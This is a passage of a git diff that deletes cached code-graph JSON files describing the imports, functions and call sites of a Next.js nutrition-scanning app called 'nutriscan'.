"D:\\Documents\\Github\\nutriscan\\app\\api\\products\\[barcode]\\route.ts", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_api_products_barcode_route_ts", "target": "lib_jsoncachemanager_jsoncachemanager", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\products\\[barcode]\\route.ts", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_api_products_barcode_route_ts", "target": "barcode_route_get", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\products\\[barcode]\\route.ts", "source_location": "L6", "weight": 1.0}], "raw_calls": [{"caller_nid": "barcode_route_get", "callee": "replace", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\products\\[barcode]\\route.ts", "source_location": "L15"}, {"caller_nid": "barcode_route_get", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\products\\[barcode]\\route.ts", "source_location": "L17"}, {"caller_nid": "barcode_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\products\\[barcode]\\route.ts", "source_location": "L24"}, {"caller_nid": "barcode_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\products\\[barcode]\\route.ts", "source_location": "L27"}, {"caller_nid": "barcode_route_get", "callee": "getProductByCode", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\products\\[barcode]\\route.ts", "source_location": "L28"}, {"caller_nid": "barcode_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\products\\[barcode]\\route.ts", "source_location": "L31"}, {"caller_nid": "barcode_route_get", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\products\\[barcode]\\route.ts", "source_location": "L32"}, {"caller_nid": "barcode_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\products\\[barcode]\\route.ts", "source_location": "L41"}, {"caller_nid": "barcode_route_get", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\products\\[barcode]\\route.ts", "source_location": "L44"}, {"caller_nid": "barcode_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\products\\[barcode]\\route.ts", "source_location": "L51"}, {"caller_nid": "barcode_route_get", "callee": "fetch", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\products\\[barcode]\\route.ts", "source_location": "L54"}, {"caller_nid": "barcode_route_get", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\products\\[barcode]\\route.ts", "source_location": "L65"}, {"caller_nid": "barcode_route_get", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\products\\[barcode]\\route.ts", "source_location": "L71"}, {"caller_nid": "barcode_route_get", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\products\\[barcode]\\route.ts", "source_location": "L74"}, {"caller_nid": "barcode_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\products\\[barcode]\\route.ts", "source_location": "L82"}, {"caller_nid": "barcode_route_get", "callee": "saveProduct", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\products\\[barcode]\\route.ts", "source_location": "L83"}, {"caller_nid": "barcode_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\products\\[barcode]\\route.ts", "source_location": "L85"}, {"caller_nid": "barcode_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\products\\[barcode]\\route.ts", "source_location": "L87"}, {"caller_nid": "barcode_route_get", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\products\\[barcode]\\route.ts", "source_location": "L91"}, {"caller_nid": "barcode_route_get", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\products\\[barcode]\\route.ts", "source_location": "L97"}, {"caller_nid": "barcode_route_get", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\products\\[barcode]\\route.ts", "source_location": "L98"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/1aefd9bb7cdcc85a4912fb6002a550e5ffb640dda435cc8147b6dec3f26db921.json b/graphify-out/cache/ast/1aefd9bb7cdcc85a4912fb6002a550e5ffb640dda435cc8147b6dec3f26db921.json
deleted file mode 100644
index aad030a..0000000
--- a/graphify-out/cache/ast/1aefd9bb7cdcc85a4912fb6002a550e5ffb640dda435cc8147b6dec3f26db921.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_layout_tsx", "label": "layout.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\layout.tsx", "source_location": "L1"}, {"id": "app_layout_inter", "label": "inter", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\layout.tsx", "source_location": "L9"}, {"id": "app_layout_metadata", "label": "metadata", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\layout.tsx", "source_location": "L15"}, {"id": "app_layout_rootlayout", "label": "RootLayout()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\layout.tsx", "source_location": "L73"}], "edges": [{"source": "d_documents_github_nutriscan_app_layout_tsx", "target": "d_documents_github_nutriscan_app_globals_css", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\layout.tsx", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_layout_tsx", "target": "next", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\layout.tsx", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_layout_tsx", "target": "google", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\layout.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_layout_tsx", "target": "script", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\layout.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_layout_tsx", "target": "d_documents_github_nutriscan_app_providers_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\layout.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_layout_tsx", "target": "app_providers_themeprovider", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\layout.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_layout_tsx", "target": "d_documents_github_nutriscan_app_components_errorboundary_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\layout.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_layout_tsx", "target": "components_errorboundary_errorboundary", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\layout.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_layout_tsx", "target": "d_documents_github_nutriscan_app_components_errortracking_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\layout.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_layout_tsx", "target": "components_errortracking_errortracking", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\layout.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_layout_tsx", "target": "app_layout_inter", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\layout.tsx", "source_location": "L9", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_layout_tsx", "target": "app_layout_metadata", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\layout.tsx", "source_location": "L15", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_layout_tsx", "target": "app_layout_rootlayout", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\layout.tsx", "source_location": "L73", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/1f0197a1094dd20e6f6b2d51b343ba027ebe33926c5186ae7f1c6b9cb9b1e00f.json b/graphify-out/cache/ast/1f0197a1094dd20e6f6b2d51b343ba027ebe33926c5186ae7f1c6b9cb9b1e00f.json
deleted file mode 100644
index f9bb9a3..0000000
--- a/graphify-out/cache/ast/1f0197a1094dd20e6f6b2d51b343ba027ebe33926c5186ae7f1c6b9cb9b1e00f.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_postcss_config_mjs", "label": "postcss.config.mjs", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\postcss.config.mjs", "source_location": "L1"}, {"id": "nutriscan_postcss_config_config", "label": "config", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\postcss.config.mjs", "source_location": "L2"}], "edges": [{"source": "d_documents_github_nutriscan_postcss_config_mjs", "target": "nutriscan_postcss_config_config", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\postcss.config.mjs", "source_location": "L2", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/2381c3e9a46a1c0f6b28308670e40300afa4a17a0dfc09e42a7dd8af6d1ce752.json b/graphify-out/cache/ast/2381c3e9a46a1c0f6b28308670e40300afa4a17a0dfc09e42a7dd8af6d1ce752.json
deleted file mode 100644
index 138ab32..0000000
--- a/graphify-out/cache/ast/2381c3e9a46a1c0f6b28308670e40300afa4a17a0dfc09e42a7dd8af6d1ce752.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_providers_tsx", "label": "providers.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\providers.tsx", "source_location": "L1"}, {"id": "app_providers_providersprops", "label": "ProvidersProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\providers.tsx", "source_location": "L5"}, {"id": "app_providers_themeprovider", "label": "ThemeProvider()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\providers.tsx", "source_location": "L9"}], "edges": [{"source": "d_documents_github_nutriscan_app_providers_tsx", "target": "next_themes", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\providers.tsx", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_providers_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\providers.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_providers_tsx", "target": "app_providers_providersprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\providers.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_providers_tsx", "target": "app_providers_themeprovider", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\providers.tsx", "source_location": "L9", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/24895657f66248c3ddfeadc292e0004e1700b6a9756998fa75de2e920a372e1b.json b/graphify-out/cache/ast/24895657f66248c3ddfeadc292e0004e1700b6a9756998fa75de2e920a372e1b.json
deleted file mode 100644
index ed4340e..0000000
--- a/graphify-out/cache/ast/24895657f66248c3ddfeadc292e0004e1700b6a9756998fa75de2e920a372e1b.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_lib_utils_ts", "label": "utils.ts", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\utils.ts", "source_location": "L1"}, {"id": "lib_utils_cn", "label": "cn()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\utils.ts", "source_location": "L4"}, {"id": "lib_utils_perfcache", "label": "perfCache", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\utils.ts", "source_location": "L9"}, {"id": "lib_utils_debounce", "label": "debounce()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\utils.ts", "source_location": "L12"}, {"id": "lib_utils_memoize", "label": "memoize()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\utils.ts", "source_location": "L25"}, {"id": "lib_utils_measureperformance", "label": "measurePerformance()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\utils.ts", "source_location": "L46"}], "edges": [{"source": "d_documents_github_nutriscan_lib_utils_ts", "target": "clsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\utils.ts", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_utils_ts", "target": "tailwind_merge", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\utils.ts", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_utils_ts", "target": "lib_utils_cn", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\utils.ts", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_utils_ts", "target": "lib_utils_perfcache", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\utils.ts", "source_location": "L9", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_utils_ts", "target": "lib_utils_debounce", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\utils.ts", "source_location": "L12", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_utils_ts", "target": "lib_utils_memoize", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\utils.ts", "source_location": "L25", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_utils_ts", "target": "lib_utils_measureperformance", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\utils.ts", "source_location": "L46", "weight": 1.0}], "raw_calls": [{"caller_nid": "lib_utils_cn", "callee": "twMerge", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\utils.ts", "source_location": "L5"}, {"caller_nid": "lib_utils_cn", "callee": "clsx", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\utils.ts", "source_location": "L5"}, {"caller_nid": "lib_utils_measureperformance", "callee": "now", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\utils.ts", "source_location": "L47"}, {"caller_nid": "lib_utils_measureperformance", "callee": "callback", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\utils.ts", "source_location": "L48"}, {"caller_nid": "lib_utils_measureperformance", "callee": "now", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\utils.ts", "source_location": "L49"}, {"caller_nid": "lib_utils_measureperformance", "callee": "set", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\utils.ts", "source_location": "L50"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/2502936f134525c072dbc28292a31112f98ed25556e22b132acd67939f03a441.json b/graphify-out/cache/ast/2502936f134525c072dbc28292a31112f98ed25556e22b132acd67939f03a441.json
deleted file mode 100644
index 2c5ee1b..0000000
--- a/graphify-out/cache/ast/2502936f134525c072dbc28292a31112f98ed25556e22b132acd67939f03a441.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_landing_trustbadges_tsx", "label": "TrustBadges.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\TrustBadges.tsx", "source_location": "L1"}, {"id": "landing_trustbadges_stats", "label": "stats", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\TrustBadges.tsx", "source_location": "L3"}, {"id": "landing_trustbadges_trustbadges", "label": "TrustBadges()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\TrustBadges.tsx", "source_location": "L26"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_landing_trustbadges_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\TrustBadges.tsx", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_trustbadges_tsx", "target": "landing_trustbadges_stats", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\TrustBadges.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_trustbadges_tsx", "target": "landing_trustbadges_trustbadges", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\TrustBadges.tsx", "source_location": "L26", "weight": 1.0}], "raw_calls": [{"caller_nid": "landing_trustbadges_trustbadges", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\TrustBadges.tsx", "source_location": "L31"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/266df33ded4af00edf5c2f68586508ac1af188e3bd0b2b7c3ffb0e01675d8d1e.json b/graphify-out/cache/ast/266df33ded4af00edf5c2f68586508ac1af188e3bd0b2b7c3ffb0e01675d8d1e.json
deleted file mode 100644
index 300da1c..0000000
--- a/graphify-out/cache/ast/266df33ded4af00edf5c2f68586508ac1af188e3bd0b2b7c3ffb0e01675d8d1e.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_nutritionbar_tsx", "label": "NutritionBar.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx", "source_location": "L1"}, {"id": "components_nutritionbar_nutritionbarprops", "label": "NutritionBarProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx", "source_location": "L4"}, {"id": "components_nutritionbar_nutritionbar", "label": "NutritionBar()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx", "source_location": "L15"}, {"id": "components_nutritionbar_nutritiongridprops", "label": "NutritionGridProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx", "source_location": "L61"}, {"id": "components_nutritionbar_reference", "label": "REFERENCE", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx", "source_location": "L74"}, {"id": "components_nutritionbar_extractnumber", "label": "extractNumber()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx", "source_location": "L79"}, {"id": "components_nutritionbar_pct", "label": "pct()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx", "source_location": "L85"}, {"id": "components_nutritionbar_nutritiongrid", "label": "NutritionGrid()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx", "source_location": "L89"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_nutritionbar_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutritionbar_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutritionbar_tsx", "target": "components_nutritionbar_nutritionbarprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutritionbar_tsx", "target": "components_nutritionbar_nutritionbar", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx", "source_location": "L15", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutritionbar_tsx", "target": "components_nutritionbar_nutritiongridprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx", "source_location": "L61", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutritionbar_tsx", "target": "components_nutritionbar_reference", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx", "source_location": "L74", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutritionbar_tsx", "target": "components_nutritionbar_extractnumber", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx", "source_location": "L79", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutritionbar_tsx", "target": "components_nutritionbar_pct", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx", "source_location": "L85", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutritionbar_tsx", "target": "components_nutritionbar_nutritiongrid", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx", "source_location": "L89", "weight": 1.0}, {"source": "components_nutritionbar_pct", "target": "components_nutritionbar_extractnumber", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx", "source_location": "L86", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_nutritionbar_nutritionbar", "callee": "min", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx", "source_location": "L24"}, {"caller_nid": "components_nutritionbar_nutritionbar", "callee": "max", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx", "source_location": "L24"}, {"caller_nid": "components_nutritionbar_nutritionbar", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx", "source_location": "L43"}, {"caller_nid": "components_nutritionbar_nutritionbar", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx", "source_location": "L46"}, {"caller_nid": "components_nutritionbar_nutritionbar", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx", "source_location": "L53"}, {"caller_nid": "components_nutritionbar_extractnumber", "callee": "match", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx", "source_location": "L81"}, {"caller_nid": "components_nutritionbar_extractnumber", "callee": "parseFloat", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx", "source_location": "L82"}, {"caller_nid": "components_nutritionbar_nutritiongrid", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx", "source_location": "L101"}, {"caller_nid": "components_nutritionbar_nutritiongrid", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx", "source_location": "L102"}, {"caller_nid": "components_nutritionbar_nutritiongrid", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutritionBar.tsx", "source_location": "L119"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/284b16abb50efea6ce4f447354ccd01007ad536ed5d1099d5e02a4f2fb00da82.json b/graphify-out/cache/ast/284b16abb50efea6ce4f447354ccd01007ad536ed5d1099d5e02a4f2fb00da82.json
deleted file mode 100644
index f0b2071..0000000
--- a/graphify-out/cache/ast/284b16abb50efea6ce4f447354ccd01007ad536ed5d1099d5e02a4f2fb00da82.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_api_location_route_ts", "label": "route.ts", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\location\\route.ts", "source_location": "L1"}, {"id": "location_route_get", "label": "GET()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\location\\route.ts", "source_location": "L6"}], "edges": [{"source": "d_documents_github_nutriscan_app_api_location_route_ts", "target": "server", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\location\\route.ts", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_api_location_route_ts", "target": "location_route_get", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\location\\route.ts", "source_location": "L6", "weight": 1.0}], "raw_calls": [{"caller_nid": "location_route_get", "callee": "trim", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\location\\route.ts", "source_location": "L15"}, {"caller_nid": "location_route_get", "callee": "split", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\location\\route.ts", "source_location": "L15"}, {"caller_nid": "location_route_get", "callee": "startsWith", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\location\\route.ts", "source_location": "L25"}, {"caller_nid": "location_route_get", "callee": "startsWith", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\location\\route.ts", "source_location": "L26"}, {"caller_nid": "location_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\location\\route.ts", "source_location": "L28"}, {"caller_nid": "location_route_get", "callee": "fetch", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\location\\route.ts", "source_location": "L33"}, {"caller_nid": "location_route_get", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\location\\route.ts", "source_location": "L40"}, {"caller_nid": "location_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\location\\route.ts", "source_location": "L42"}, {"caller_nid": "location_route_get", "callee": "warn", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\location\\route.ts", "source_location": "L45"}, {"caller_nid": "location_route_get", "callee": "warn", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\location\\route.ts", "source_location": "L51"}, {"caller_nid": "location_route_get", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\location\\route.ts", "source_location": "L52"}, {"caller_nid": "location_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\location\\route.ts", "source_location": "L58"}, {"caller_nid": "location_route_get", "callee": "fetch", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\location\\route.ts", "source_location": "L61"}, {"caller_nid": "location_route_get", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\location\\route.ts", "source_location": "L74"}, {"caller_nid": "location_route_get", "callee": "warn", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\location\\route.ts", "source_location": "L78"}, {"caller_nid": "location_route_get", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\location\\route.ts", "source_location": "L79"}, {"caller_nid": "location_route_get", "callee": "log", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\location\\route.ts", "source_location": "L85"}, {"caller_nid": "location_route_get", "callee": "json", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\location\\route.ts", "source_location": "L87"}, {"caller_nid": "location_route_get", "callee": "toLowerCase", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\location\\route.ts", "source_location": "L89"}, {"caller_nid": "location_route_get", "callee": "error", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\api\\location\\route.ts", "source_location": "L92"}, {"caller_nid": "location_route_get", "callee": "json", "is_member_call": true, "source_file": 